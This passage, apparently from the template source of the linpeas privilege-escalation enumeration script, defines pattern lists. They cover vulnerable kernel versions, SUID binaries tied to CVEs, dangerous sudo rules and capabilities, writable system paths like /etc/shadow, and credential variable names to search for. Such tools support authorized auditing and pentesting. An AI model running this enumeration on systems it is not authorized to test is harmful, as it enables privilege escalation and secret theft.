t|3.10.33-rt32.34.el6rt|3.10.33-rt32.43.el6rt|3.10.33-rt32.45.el6rt|3.10.33-rt32.51.el6rt|3.10.33-rt32.52.el6rt|3.10.58-rt62.58.el6rt|3.10.58-rt62.60.el6rt|2.6.32-71.7.1.el6|2.6.32-71.14.1.el6|2.6.32-71.18.1.el6|2.6.32-71.18.2.el6|2.6.32-71.24.1.el6|2.6.32-71.29.1.el6|2.6.32-71.31.1.el6|2.6.32-71.34.1.el6|2.6.32-71.35.1.el6|2.6.32-71.36.1.el6|2.6.32-71.37.1.el6|2.6.32-71.38.1.el6|2.6.32-71.39.1.el6|2.6.32-71.40.1.el6|2.6.32-131.0.15.el6|2.6.32-131.2.1.el6|2.6.32-131.4.1.el6|2.6.32-131.6.1.el6|2.6.32-131.12.1.el6" -kernelDCW_Rhel6_2="2.6.32-131.17.1.el6|2.6.32-131.21.1.el6|2.6.32-131.22.1.el6|2.6.32-131.25.1.el6|2.6.32-131.26.1.el6|2.6.32-131.28.1.el6|2.6.32-131.29.1.el6|2.6.32-131.30.1.el6|2.6.32-131.30.2.el6|2.6.32-131.33.1.el6|2.6.32-131.35.1.el6|2.6.32-131.36.1.el6|2.6.32-131.37.1.el6|2.6.32-131.38.1.el6|2.6.32-131.39.1.el6|2.6.32-220.el6|2.6.32-220.2.1.el6|2.6.32-220.4.1.el6|2.6.32-220.4.2.el6|2.6.32-220.4.7.bgq.el6|2.6.32-220.7.1.el6|2.6.32-220.7.3.p7ih.el6|2.6.32-220.7.4.p7ih.el6|2.6.32-220.7.6.p7ih.el6|2.6.32-220.7.7.p7ih.el6|2.6.32-220.13.1.el6|2.6.32-220.17.1.el6|2.6.32-220.23.1.el6|2.6.32-220.24.1.el6|2.6.32-220.25.1.el6|2.6.32-220.26.1.el6|2.6.32-220.28.1.el6|2.6.32-220.30.1.el6|2.6.32-220.31.1.el6|2.6.32-220.32.1.el6|2.6.32-220.34.1.el6|2.6.32-220.34.2.el6|2.6.32-220.38.1.el6|2.6.32-220.39.1.el6|2.6.32-220.41.1.el6|2.6.32-220.42.1.el6|2.6.32-220.45.1.el6|2.6.32-220.46.1.el6|2.6.32-220.48.1.el6|2.6.32-220.51.1.el6|2.6.32-220.52.1.el6|2.6.32-220.53.1.el6|2.6.32-220.54.1.el6|2.6.32-220.55.1.el6|2.6.32-220.56.1.el6|2.6.32-220.57.1.el6|2.6.32-220.58.1.el6|2.6.32-220.60.2.el6|2.6.32-220.62.1.el6|2.6.32-220.63.2.el6|2.6.32-220.64.1.el6|2.6.32-220.65.1.el6|2.6.32-220.66.1.el6|2.6.32-220.67.1.el6|2.6.32-279.el6|2.6.32-279.1.1.el6|2.6.32-279.2.1.el6|2.6.32-279.5.1.el6|2.6.32-279.5.2.el6|2.6.32-279.9.1.el6|2.6.32-279.11.1.el6|2.6.32-279.14.1.bgq.el6|2.6.32-279.14.1.el6|2.6.32-279.19.1.el6|2.6.32-279.22.1.el6|2.6.32-279.23.1.el6|2.6.32-279.25.1.el6|2.6.32-279.25.2.el6|2.6.32-279.31.1.el6|2.6.32-279.33.1.el6|2.6.32-279.34.1.el6|2.6.32-279.37.2.el6|2.6.32-279.39.1.el6" -kernelDCW_Rhel6_3="2.6.32-279.41.1.el6|2.6.32-279.42.1.el6|2.6.32-279.43.1.el6|2.6.32-279.43.2.el6|2.6.32-279.46.1.el6|2.6.32-358.el6|2.6.32-358.0.1.el6|2.6.32-358.2.1.el6|2.6.32-358.6.1.el6|2.6.32-358.6.2.el6|2.6.32-358.6.3.p7ih.el6|2.6.32-358.11.1.bgq.el6|2.6.32-358.11.1.el6|2.6.32-358.14.1.el6|2.6.32-358.18.1.el6|2.6.32-358.23.2.el6|2.6.32-358.28.1.el6|2.6.32-358.32.3.el6|2.6.32-358.37.1.el6|2.6.32-358.41.1.el6|2.6.32-358.44.1.el6|2.6.32-358.46.1.el6|2.6.32-358.46.2.el6|2.6.32-358.48.1.el6|2.6.32-358.49.1.el6|2.6.32-358.51.1.el6|2.6.32-358.51.2.el6|2.6.32-358.55.1.el6|2.6.32-358.56.1.el6|2.6.32-358.59.1.el6|2.6.32-358.61.1.el6|2.6.32-358.62.1.el6|2.6.32-358.65.1.el6|2.6.32-358.67.1.el6|2.6.32-358.68.1.el6|2.6.32-358.69.1.el6|2.6.32-358.70.1.el6|2.6.32-358.71.1.el6|2.6.32-358.72.1.el6|2.6.32-358.73.1.el6|2.6.32-358.111.1.openstack.el6|2.6.32-358.114.1.openstack.el6|2.6.32-358.118.1.openstack.el6|2.6.32-358.123.4.openstack.el6|2.6.32-431.el6|2.6.32-431.1.1.bgq.el6|2.6.32-431.1.2.el6|2.6.32-431.3.1.el6|2.6.32-431.5.1.el6|2.6.32-431.11.2.el6|2.6.32-431.17.1.el6|2.6.32-431.20.3.el6|2.6.32-431.20.5.el6|2.6.32-431.23.3.el6|2.6.32-431.29.2.el6|2.6.32-431.37.1.el6|2.6.32-431.40.1.el6|2.6.32-431.40.2.el6|2.6.32-431.46.2.el6|2.6.32-431.50.1.el6|2.6.32-431.53.2.el6|2.6.32-431.56.1.el6|2.6.32-431.59.1.el6|2.6.32-431.61.2.el6|2.6.32-431.64.1.el6|2.6.32-431.66.1.el6|2.6.32-431.68.1.el6|2.6.32-431.69.1.el6|2.6.32-431.70.1.el6" -kernelDCW_Rhel6_4="2.6.32-431.71.1.el6|2.6.32-431.72.1.el6|2.6.32-431.73.2.el6|2.6.32-431.74.1.el6|2.6.32-504.el6|2.6.32-504.1.3.el6|2.6.32-504.3.3.el6|2.6.32-504.8.1.el6|2.6.32-504.8.2.bgq.el6|2.6.32-504.12.2.el6|2.6.32-504.16.2.el6|2.6.32-504.23.4.el6|2.6.32-504.30.3.el6|2.6.32-504.30.5.p7ih.el6|2.6.32-504.33.2.el6|2.6.32-504.36.1.el6|2.6.32-504.38.1.el6|2.6.32-504.40.1.el6|2.6.32-504.43.1.el6|2.6.32-504.46.1.el6|2.6.32-504.49.1.el6|2.6.32-504.50.1.el6|2.6.32-504.51.1.el6|2.6.32-504.52.1.el6|2.6.32-573.el6|2.6.32-573.1.1.el6|2.6.32-573.3.1.el6|2.6.32-573.4.2.bgq.el6|2.6.32-573.7.1.el6|2.6.32-573.8.1.el6|2.6.32-573.12.1.el6|2.6.32-573.18.1.el6|2.6.32-573.22.1.el6|2.6.32-573.26.1.el6|2.6.32-573.30.1.el6|2.6.32-573.32.1.el6|2.6.32-573.34.1.el6|2.6.32-642.el6|2.6.32-642.1.1.el6|2.6.32-642.3.1.el6|2.6.32-642.4.2.el6|2.6.32-642.6.1.el6" -kernelDCW_Rhel7="3.10.0-229.rt56.141.el7|3.10.0-229.1.2.rt56.141.2.el7_1|3.10.0-229.4.2.rt56.141.6.el7_1|3.10.0-229.7.2.rt56.141.6.el7_1|3.10.0-229.11.1.rt56.141.11.el7_1|3.10.0-229.14.1.rt56.141.13.el7_1|3.10.0-229.20.1.rt56.141.14.el7_1|3.10.0-229.rt56.141.el7|3.10.0-327.rt56.204.el7|3.10.0-327.4.5.rt56.206.el7_2|3.10.0-327.10.1.rt56.211.el7_2|3.10.0-327.13.1.rt56.216.el7_2|3.10.0-327.18.2.rt56.223.el7_2|3.10.0-327.22.2.rt56.230.el7_2|3.10.0-327.28.2.rt56.234.el7_2|3.10.0-327.28.3.rt56.235.el7|3.10.0-327.36.1.rt56.237.el7|3.10.0-123.el7|3.10.0-123.1.2.el7|3.10.0-123.4.2.el7|3.10.0-123.4.4.el7|3.10.0-123.6.3.el7|3.10.0-123.8.1.el7|3.10.0-123.9.2.el7|3.10.0-123.9.3.el7|3.10.0-123.13.1.el7|3.10.0-123.13.2.el7|3.10.0-123.20.1.el7|3.10.0-229.el7|3.10.0-229.1.2.el7|3.10.0-229.4.2.el7|3.10.0-229.7.2.el7|3.10.0-229.11.1.el7|3.10.0-229.14.1.el7|3.10.0-229.20.1.el7|3.10.0-229.24.2.el7|3.10.0-229.26.2.el7|3.10.0-229.28.1.el7|3.10.0-229.30.1.el7|3.10.0-229.34.1.el7|3.10.0-229.38.1.el7|3.10.0-229.40.1.el7|3.10.0-229.42.1.el7|3.10.0-327.el7|3.10.0-327.3.1.el7|3.10.0-327.4.4.el7|3.10.0-327.4.5.el7|3.10.0-327.10.1.el7|3.10.0-327.13.1.el7|3.10.0-327.18.2.el7|3.10.0-327.22.2.el7|3.10.0-327.28.2.el7|3.10.0-327.28.3.el7|3.10.0-327.36.1.el7|3.10.0-327.36.2.el7|3.10.0-229.1.2.ael7b|3.10.0-229.4.2.ael7b|3.10.0-229.7.2.ael7b|3.10.0-229.11.1.ael7b|3.10.0-229.14.1.ael7b|3.10.0-229.20.1.ael7b|3.10.0-229.24.2.ael7b|3.10.0-229.26.2.ael7b|3.10.0-229.28.1.ael7b|3.10.0-229.30.1.ael7b|3.10.0-229.34.1.ael7b|3.10.0-229.38.1.ael7b|3.10.0-229.40.1.ael7b|3.10.0-229.42.1.ael7b|4.2.0-0.21.el7" - - -MyUID=$(id -u $(whoami)) -if [ "$MyUID" ]; then myuid=$MyUID; elif [ $(id -u $(whoami) 2>/dev/null) ]; then myuid=$(id -u $(whoami) 2>/dev/null); elif [ "$(id 2>/dev/null | cut -d "=" -f 2 | cut -d "(" -f 1)" ]; then myuid=$(id 2>/dev/null | cut -d "=" -f 2 | cut -d "(" -f 1); fi -if [ $myuid -gt 2147483646 ]; then baduid="|$myuid"; fi -idB="euid|egid$baduid" -sudovB="[01].[012345678].[0-9]+|1.9.[01234]|1.9.5p1" - -mounted=$( (cat /proc/self/mountinfo || cat /proc/1/mountinfo) 2>/dev/null | cut -d " " -f5 | grep "^/" | tr '\n' '|')$(cat /etc/fstab 2>/dev/null | grep -v "#" | grep -E '\W/\W' | awk '{print $1}') -if ! [ "$mounted" ]; then - mounted=$( (mount -l || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts) 2>/dev/null | grep "^/" | cut -d " " -f1 | tr '\n' '|')$(cat /etc/fstab 2>/dev/null | grep -v "#" | grep -E '\W/\W' | awk '{print $1}') -fi -if ! [ "$mounted" ]; then mounted="ImPoSSssSiBlEee"; fi # Don't let any blacklist to be empty -mountG="swap|/cdrom|/floppy|/dev/shm" -notmounted=$(cat /etc/fstab 2>/dev/null | grep "^/" | grep -Ev "$mountG" | awk '{print $1}' | grep -Ev "$mounted" | tr '\n' '|')"ImPoSSssSiBlEee" -mountpermsB="\Wsuid|\Wuser|\Wexec" -mountpermsG="nosuid|nouser|noexec" - -rootcommon="/init$|upstart-udev-bridge|udev|/getty|cron|apache2|java|tomcat|/vmtoolsd|/VGAuthService" - -groupsB="\(root\)|\(shadow\)|\(admin\)|\(video\)|\(adm\)|\(wheel\)|\(auth\)" -groupsVB="\(sudo\)|\(docker\)|\(lxd\)|\(disk\)|\(lxc\)" -knw_grps='\(lpadmin\)|\(cdrom\)|\(plugdev\)|\(nogroup\)' # https://www.togaware.com/linux/survivor/Standard_Groups.html -mygroups=$(groups 2>/dev/null | tr " " "|") - -# Default Binaries List -sidG1="/abuild-sudo$|/accton$|/allocate$|/ARDAgent$|/arping$|/atq$|/atrm$|/authpf$|/authpf-noip$|/authopen$|/batch$|/bbsuid$|/bsd-write$|/btsockstat$|/bwrap$|/cacaocsc$|/camel-lock-helper-1.2$|/ccreds_validate$|/cdrw$|/chage$|/check-foreground-console$|/chrome-sandbox$|/chsh$|/cons.saver$|/crontab$|/ct$|/cu$|/dbus-daemon-launch-helper$|/deallocate$|/desktop-create-kmenu$|/dma$|/dma-mbox-create$|/dmcrypt-get-device$|/doas$|/dotlockfile$|/dotlock.mailutils$|/dtaction$|/dtfile$|/eject$|/execabrt-action-install-debuginfo-to-abrt-cache$|/execdbus-daemon-launch-helper$|/execdma-mbox-create$|/execlockspool$|/execlogin_chpass$|/execlogin_lchpass$|/execlogin_passwd$|/execssh-keysign$|/execulog-helper$|/exim4|/expiry$|/fdformat$|/fstat$|/fusermount$|/fusermount3$" -sidG2="/gnome-pty-helper$|/glines$|/gnibbles$|/gnobots2$|/gnome-suspend$|/gnometris$|/gnomine$|/gnotski$|/gnotravex$|/gpasswd$|/gpg$|/gpio$|/gtali|/.hal-mtab-lock$|/helper$|/imapd$|/inndstart$|/kismet_cap_nrf_51822$|/kismet_cap_nxp_kw41z$|/kismet_cap_ti_cc_2531$|/kismet_cap_ti_cc_2540$|/kismet_cap_ubertooth_one$|/kismet_capture$|/kismet_cap_linux_bluetooth$|/kismet_cap_linux_wifi$|/kismet_cap_nrf_mousejack$|/ksu$|/list_devices$|/load_osxfuse$|/locate$|/lock$|/lockdev$|/lockfile$|/login_activ$|/login_crypto$|/login_radius$|/login_skey$|/login_snk$|/login_token$|/login_yubikey$|/lpc$|/lpd$|/lpd-port$|/lppasswd$|/lpq$|/lpr$|/lprm$|/lpset$|/lxc-user-nic$|/mahjongg$|/mail-lock$|/mailq$|/mail-touchlock$|/mail-unlock$|/mksnap_ffs$|/mlocate$|/mlock$|/mount$|/mount.cifs$|/mount.ecryptfs_private$|/mount.nfs$|/mount.nfs4$|/mount_osxfuse$|/mtr$|/mutt_dotlock$" -sidG3="/ncsa_auth$|/netpr$|/netkit-rcp$|/netkit-rlogin$|/netkit-rsh$|/netreport$|/netstat$|/newgidmap$|/newtask$|/newuidmap$|/nvmmctl$|/opieinfo$|/opiepasswd$|/pam_auth$|/pam_extrausers_chkpwd$|/pam_timestamp_check$|/pamverifier$|/pfexec$|/ping$|/ping6$|/pmconfig$|/pmap$|/polkit-agent-helper-1$|/polkit-explicit-grant-helper$|/polkit-grant-helper$|/polkit-grant-helper-pam$|/polkit-read-auth-helper$|/polkit-resolve-exe-helper$|/polkit-revoke-helper$|/polkit-set-default-helper$|/postdrop$|/postqueue$|/poweroff$|/ppp$|/procmail$|/pstat$|/pt_chmod$|/pwdb_chkpwd$|/quota$|/rcmd|/remote.unknown$|/rlogin$|/rmformat$|/rnews$|/run-mailcap$|/sacadm$|/same-gnome$|screen.real$|/security_authtrampoline$|/sendmail.sendmail$|/shutdown$|/skeyaudit$|/skeyinfo$|/skeyinit$|/sliplogin|/slocate$|/smbmnt$|/smbumount$|/smpatch$|/smtpctl$|/sperl5.8.8$|/ssh-agent$|/ssh-keysign$|/staprun$|/startinnfeed$|/stclient$|/su$|/suexec$|/sys-suspend$|/sysstat$|/systat$" -sidG4="/telnetlogin$|/timedc$|/tip$|/top$|/traceroute6$|/traceroute6.iputils$|/trpt$|/tsoldtlabel$|/tsoljdslabel$|/tsolxagent$|/ufsdump$|/ufsrestore$|/ulog-helper$|/umount.cifs$|/umount.nfs$|/umount.nfs4$|/unix_chkpwd$|/uptime$|/userhelper$|/userisdnctl$|/usernetctl$|/utempter$|/utmp_update$|/uucico$|/uuglist$|/uuidd$|/uuname$|/uusched$|/uustat$|/uux$|/uuxqt$|/VBoxHeadless$|/VBoxNetAdpCtl$|/VBoxNetDHCP$|/VBoxNetNAT$|/VBoxSDL$|/VBoxVolInfo$|/VirtualBoxVM$|/vmstat$|/vmware-authd$|/vmware-user-suid-wrapper$|/vmware-vmx$|/vmware-vmx-debug$|/vmware-vmx-stats$|/vncserver-x11$|/volrmmount$|/w$|/wall$|/whodo$|/write$|/X$|/Xorg.wrap$|/Xsun$|/Xvnc$|/yppasswd$" - -# Rules: Start path " /", end path "$", divide path and vulnversion "%". SPACE IS ONLY ALLOWED AT BEGINNING, DONT USE IT IN VULN DESCRIPTION -sidB="/apache2$%Read_root_passwd__apache2_-f_/etc/shadow\(CVE-2019-0211\)\ - /at$%RTru64_UNIX_4.0g\(CVE-2002-1614\)\ - /abrt-action-install-debuginfo-to-abrt-cache$%CENTOS 7.1/Fedora22 - /chfn$%SuSE_9.3/10\ - /chkey$%Solaris_2.5.1\ - /chkperm$%Solaris_7.0_\ - /chpass$%2Vulns:OpenBSD_6.1_to_OpenBSD 6.6\(CVE-2019-19726\)--OpenBSD_2.7_i386/OpenBSD_2.6_i386/OpenBSD_2.5_1999/08/06/OpenBSD_2.5_1998/05/28/FreeBSD_4.0-RELEASE/FreeBSD_3.5-RELEASE/FreeBSD_3.4-RELEASE/NetBSD_1.4.2\ - /chpasswd$%SquirrelMail\(2004-04\)\ - /dtappgather$%Solaris_7_<_11_\(SPARC/x86\)\(CVE-2017-3622\)\ - /dtprintinfo$%Solaris_10_\(x86\)_and_lower_versions_also_SunOS_5.7_to_5.10\ - /dtsession$%Oracle_Solaris_10_1/13_and_earlier\(CVE-2020-2696\)\ - /eject$%FreeBSD_mcweject_0.9/SGI_IRIX_6.2\ - /ibstat$%IBM_AIX_Version_6.1/7.1\(09-2013\)\ - /kcheckpass$%KDE_3.2.0_<-->_3.4.2_\(both_included\)\ - /kdesud$%KDE_1.1/1.1.1/1.1.2/1.2\ - /keybase-redirector%CentOS_Linux_release_7.4.1708\ - /login$%IBM_AIX_3.2.5/SGI_IRIX_6.4\ - /lpc$%S.u.S.E_Linux_5.2\ - /lpr$%BSD/OS2.1/FreeBSD2.1.5/NeXTstep4.x/IRIX6.4/SunOS4.1.3/4.1.4\(09-1996\)\ - /mail.local$%NetBSD_7.0-7.0.1__6.1-6.1.5__6.0-6.0.6 - /mount$%Apple_Mac_OSX\(Lion\)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8\ - /movemail$%Emacs\(08-1986\)\ - /mrinfo$%NetBSD_Sep_17_2002_https://securitytracker.com/id/1005234\ - /mtrace$%NetBSD_Sep_17_2002_https://securitytracker.com/id/1005234\ - /netprint$%IRIX_5.3/6.2/6.3/6.4/6.5/6.5.11\ - /newgrp$%HP-UX_10.20\ - /ntfs-3g$%Debian9/8/7/Ubuntu/Gentoo/others/Ubuntu_Server_16.10_and_others\(02-2017\)\ - /passwd$%Apple_Mac_OSX\(03-2006\)/Solaris_8/9\(12-2004\)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1\(02-1997\)\ - /pkexec$%Linux4.10_to_5.1.17\(CVE-2019-13272\)/rhel_6\(CVE-2011-1485\)\ - /pppd$%Apple_Mac_OSX_10.4.8\(05-2007\)\ - /pt_chown$%GNU_glibc_2.1/2.1.1_-6\(08-1999\)\ - /pulseaudio$%\(Ubuntu_9.04/Slackware_12.2.0\)\ - /rcp$%RedHat_6.2\ - /rdist$%Solaris_10/OpenSolaris\ - /rsh$%Apple_Mac_OSX_10.9.5/10.10.5\(09-2015\)\ - /screen$%GNU_Screen_4.5.0\ - /sdtcm_convert$%Sun_Solaris_7.0\ - /sendmail$%Sendmail_8.10.1/Sendmail_8.11.x/Linux_Kernel_2.2.x_2.4.0-test1_\(SGI_ProPack_1.2/1.3\)\ - /snap-confine$%Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation\(CVE-2019-7304\)\ - /sudo%check_if_the_sudo_version_is_vulnerable\ - /Serv-U%FTP_Server<15.1.7(CVE-2019-12181) - /sudoedit$%Sudo/SudoEdit_1.6.9p21/1.7.2p4/\(RHEL_5/6/7/Ubuntu\)/Sudo<=1.8.14\ - /tmux$%Tmux_1.3_1.4_privesc\(CVE-2011-1496\)\ - /traceroute$%LBL_Traceroute_\[2000-11-15\]\ - /ubuntu-core-launcher$%Befre_1.0.27.1\(CVE-2016-1580\)\ - /umount$%BSD/Linux\(08-1996\)\ - /umount-loop$%Rocks_Clusters<=4.1\(07-2006\)\ - /uucp$%Taylor_UUCP_1.0.6\ - /XFree86$%XFree86_X11R6_3.3.x/4.0/4.x/3.3\(03-2003\)\ - /xlock$%BSD/OS_2.1/DG/UX_7.0/Debian_1.3/HP-UX_10.34/IBM_AIX_4.2/SGI_IRIX_6.4/Solaris_2.5.1\(04-1997\)\ - /xscreensaver%Solaris_11.x\(CVE-2019-3010\)\ - /xorg$%Xorg_1.19_to_1.20.x\(CVE_2018-14665\)/xorg-x11-server<=1.20.3/AIX_7.1_\(6.x_to_7.x_should_be_vulnerable\)_X11.base.rte<7.1.5.32_and_\ - /xterm$%Solaris_5.5.1_X11R6.3\(05-1997\)/Debian_xterm_version_222-1etch2\(01-2009\)" -# To update sidVB: curl https://github.com/GTFOBins/GTFOBins.github.io/tree/master/_gtfobins 2>/dev/null | grep 'href="/GTFOBins/' | grep '.md">' | awk -F 'title="' '{print $2}' | cut -d '"' -f1 | cut -d "." -f1 | sed -e 's,^,/,' | sed -e 's,$,\$,' | tr '\n' '|' -sidVB='peass{SUIDVB1_HERE}' -sidVB2='peass{SUIDVB2_HERE}' -cfuncs='file|free|main|more|read|split|write' - -sudoVB1=" \*|env_keep\W*\+=.*LD_PRELOAD|env_keep\W*\+=.*LD_LIBRARY_PATH|peass{SUDOVB1_HERE}" -sudoVB2="peass{SUDOVB2_HERE}" -sudoB="$(whoami)|ALL:ALL|ALL : ALL|ALL|env_keep|NOPASSWD|SETENV|/apache2|/cryptsetup|/mount" -sudoG="NOEXEC" - -capsVB="cap_sys_admin:mount|python \ -cap_sys_ptrace:python \ -cap_sys_module:kmod|python \ -cap_dac_override:python|vim \ -cap_chown:chown|python \ -cap_former:chown|python \ -cap_setuid:peass{CAP_SETUID_HERE} \ -cap_setgid:peass{CAP_SETGID_HERE} \ -cap_net_raw:python|tcpdump" - - -capsB="=ep|cap_chown|cap_former|cap_setfcap|cap_dac_override|cap_dac_read_search|cap_setuid|cap_setgid|cap_kill|cap_net_bind_service|cap_net_raw|cap_net_admin|cap_sys_admin|cap_sys_ptrace|cap_sys_module" -containercapsB="sys_admin|sys_ptrace|sys_module|dac_read_search|dac_override|sys_rawio|syslog|net_raw|net_admin" - -OLDPATH=$PATH -ADDPATH=":/usr/local/sbin\ - :/usr/local/bin\ - :/usr/sbin\ - :/usr/bin\ - :/sbin\ - :/bin" -spath=":$PATH" -for P in $ADDPATH; do - if [ "${spath##*$P*}" ]; then export PATH="$PATH$P" 2>/dev/null; fi -done - -# Test if sed supports -E or -r -E=E -echo | sed -${E} 's/o/a/' 2>/dev/null -if [ $? -ne 0 ] ; then - echo | sed -r 's/o/a/' 2>/dev/null - if [ $? -eq 0 ] ; then - E=r - else - echo "${YELLOW}WARNING: No suitable option found for extended regex with sed. Continuing but the results might be unreliable.${NC}" - fi -fi - -writeB="00-header|10-help-text|50-motd-news|80-esm|91-release-upgrade|\.sh$|\./|/authorized_keys|/bin/|/boot/|/etc/apache2/apache2.conf|/etc/apache2/httpd.conf|/etc/hosts.allow|/etc/hosts.deny|/etc/httpd/conf/httpd.conf|/etc/httpd/httpd.conf|/etc/inetd.conf|/etc/incron.conf|/etc/login.defs|/etc/logrotate.d/|/etc/modprobe.d/|/etc/pam.d/|/etc/php.*/fpm/pool.d/|/etc/php/.*/fpm/pool.d/|/etc/rsyslog.d/|/etc/skel/|/etc/sysconfig/network-scripts/|/etc/sysctl.conf|/etc/sysctl.d/|/etc/uwsgi/apps-enabled/|/etc/xinetd.conf|/etc/xinetd.d/|/etc/|/home//|/lib/|/log/|/mnt/|/root|/sys/|/usr/bin|/usr/games|/usr/lib|/usr/local/bin|/usr/local/games|/usr/local/sbin|/usr/sbin|/sbin/|/var/log/|\.timer$|\.service$|.socket$" -writeVB="/etc/anacrontab|/etc/apt/apt.conf.d|/etc/bash.bashrc|/etc/bash_completion|/etc/bash_completion.d/|/etc/cron|/etc/environment|/etc/environment.d/|/etc/group|/etc/incron.d/|/etc/init|/etc/ld.so.conf.d/|/etc/master.passwd|/etc/passwd|/etc/profile.d/|/etc/profile|/etc/rc.d|/etc/shadow|/etc/skey/|/etc/sudoers|/etc/sudoers.d/|/etc/supervisor/conf.d/|/etc/supervisor/supervisord.conf|/etc/systemd|/etc/sys|/lib/systemd|/etc/update-motd.d/|/root/.ssh/|/run/systemd|/usr/lib/cron/tabs/|/usr/lib/systemd|/systemd/system|/var/db/yubikey/|/var/spool/anacron|/var/spool/cron/crontabs|"$(echo $PATH 2>/dev/null | sed 's/:\.:/:/g' | sed 's/:\.$//g' | sed 's/^\.://g' | sed 's/:/$|^/g') #Add Path but remove simple dot in PATH - -if [ "$MACPEAS" ]; then - sh_usrs="ImPoSSssSiBlEee" - nosh_usrs="ImPoSSssSiBlEee" - dscl . list /Users | while read uname; do - ushell=$(dscl . -read "/Users/$uname" UserShell | cut -d " " -f2) - if grep -q \"$ushell\" /etc/shells; then sh_usrs="$sh_usrs|$uname"; else nosh_usrs="$nosh_usrs|$uname"; fi - done -else - sh_usrs=$(cat /etc/passwd 2>/dev/null | grep -v "^root:" | grep -i "sh$" | cut -d ":" -f 1 | tr '\n' '|' | sed 's/|bin|/|bin[\\\s:]|^bin$|/' | sed 's/|sys|/|sys[\\\s:]|^sys$|/' | sed 's/|daemon|/|daemon[\\\s:]|^daemon$|/')"ImPoSSssSiBlEee" #Modified bin, sys and daemon so they are not colored everywhere - # Surround each username with word boundary character '\b' to prevent false positives caused by short user names (e.g. user "sys" shouldn't highlight partial match on "system") - nosh_usrs=$(cat /etc/passwd 2>/dev/null | grep -i -v "sh$" |awk '{ print "\\b" $0 }' | sort | cut -d ":" -f 1 | sed s/$/\\\\b/g | tr '\n' '|' | sed 's/|bin|/|bin[\\\s:]|^bin$|/')"ImPoSSssSiBlEee" -fi -knw_usrs='_amavisd|_analyticsd|_appinstalld|_appleevents|_applepay|_appowner|_appserver|_appstore|_ard|_assetcache|_astris|_atsserver|_avbdeviced|_calendar|_captiveagent|_ces|_clamav|_cmiodalassistants|_coreaudiod|_coremediaiod|_coreml|_ctkd|_cvmsroot|_cvs|_cyrus|_datadetectors|_demod|_devdocs|_devicemgr|_diskimagesiod|_displaypolicyd|_distnote|_dovecot|_dovenull|_dpaudio|_driverkit|_eppc|_findmydevice|_fpsd|_ftp|_fud|_gamecontrollerd|_geod|_hidd|_iconservices|_installassistant|_installcoordinationd|_installer|_jabber|_kadmin_admin|_kadmin_changepw|_knowledgegraphd|_krb_anonymous|_krb_changepw|_krb_kadmin|_krb_kerberos|_krb_krbtgt|_krbfast|_krbtgt|_launchservicesd|_lda|_locationd|_logd|_lp|_mailman|_mbsetupuser|_mcxalr|_mdnsresponder|_mobileasset|_mysql|_nearbyd|_netbios|_netstatistics|_networkd|_nsurlsessiond|_nsurlstoraged|_oahd|_ondemand|_postfix|_postgres|_qtss|_reportmemoryexception|_rmd|_sandbox|_screensaver|_scsd|_securityagent|_softwareupdate|_spotlight|_sshd|_svn|_taskgated|_teamsserver|_timed|_timezone|_tokend|_trustd|_trustevaluationagent|_unknown|_update_sharing|_usbmuxd|_uucp|_warmd|_webauthserver|_windowserver|_www|_wwwproxy|_xserverdocs|daemon\W|^daemon$|message\+|syslog|www|www-data|mail|nobody|Debian\-\+|rtkit|systemd\+' -if ! [ "$USER" ]; then - USER=$(whoami 2>/dev/null || echo -n "UserUnknown") -fi -if [ ! "$HOME" ]; then - if [ -d "/Users/$USER" ]; then HOME="/Users/$USER"; # Mac home - else HOME="/home/$USER"; - fi -fi -Groups="ImPoSSssSiBlEee"$(groups "$USER" 2>/dev/null | cut -d ":" -f 2 | tr ' ' '|') - -# These variables are divided into several different ones because NetBSD requires that. -peass{VARIABLES} -pwd_in_variables1="Dgpg.passphrase|Dsonar.login|Dsonar.projectKey|GITHUB_TOKEN|HB_CODESIGN_GPG_PASS|HB_CODESIGN_KEY_PASS|PUSHOVER_TOKEN|PUSHOVER_USER|VIRUSTOTAL_APIKEY|ACCESSKEY|ACCESSKEYID|ACCESS_KEY|ACCESS_KEY_ID|ACCESS_KEY_SECRET|ACCESS_SECRET|ACCESS_TOKEN|ACCOUNT_SID|ADMIN_EMAIL|ADZERK_API_KEY|ALGOLIA_ADMIN_KEY_1|ALGOLIA_ADMIN_KEY_2|ALGOLIA_ADMIN_KEY_MCM|ALGOLIA_API_KEY|ALGOLIA_API_KEY_MCM|ALGOLIA_API_KEY_SEARCH|ALGOLIA_APPLICATION_ID|ALGOLIA_APPLICATION_ID_1|ALGOLIA_APPLICATION_ID_2|ALGOLIA_APPLICATION_ID_MCM|ALGOLIA_APP_ID|ALGOLIA_APP_ID_MCM|ALGOLIA_SEARCH_API_KEY|ALGOLIA_SEARCH_KEY|ALGOLIA_SEARCH_KEY_1|ALIAS_NAME|ALIAS_PASS|ALICLOUD_ACCESS_KEY|ALICLOUD_SECRET_KEY|amazon_bucket_name|AMAZON_SECRET_ACCESS_KEY|ANDROID_DOCS_DEPLOY_TOKEN|android_sdk_license|android_sdk_preview_license|aos_key|aos_sec|APIARY_API_KEY|APIGW_ACCESS_TOKEN|API_KEY|API_KEY_MCM|API_KEY_SECRET|API_KEY_SID|API_SECRET|appClientSecret|APP_BUCKET_PERM|APP_NAME|APP_REPORT_TOKEN_KEY|APP_TOKEN|ARGOS_TOKEN|ARTIFACTORY_KEY|ARTIFACTS_AWS_ACCESS_KEY_ID|ARTIFACTS_AWS_SECRET_ACCESS_KEY|ARTIFACTS_BUCKET|ARTIFACTS_KEY|ARTIFACTS_SECRET|ASSISTANT_IAM_APIKEY|AURORA_STRING_URL|AUTH0_API_CLIENTID|AUTH0_API_CLIENTSECRET|AUTH0_AUDIENCE|AUTH0_CALLBACK_URL|AUTH0_CLIENT_ID" 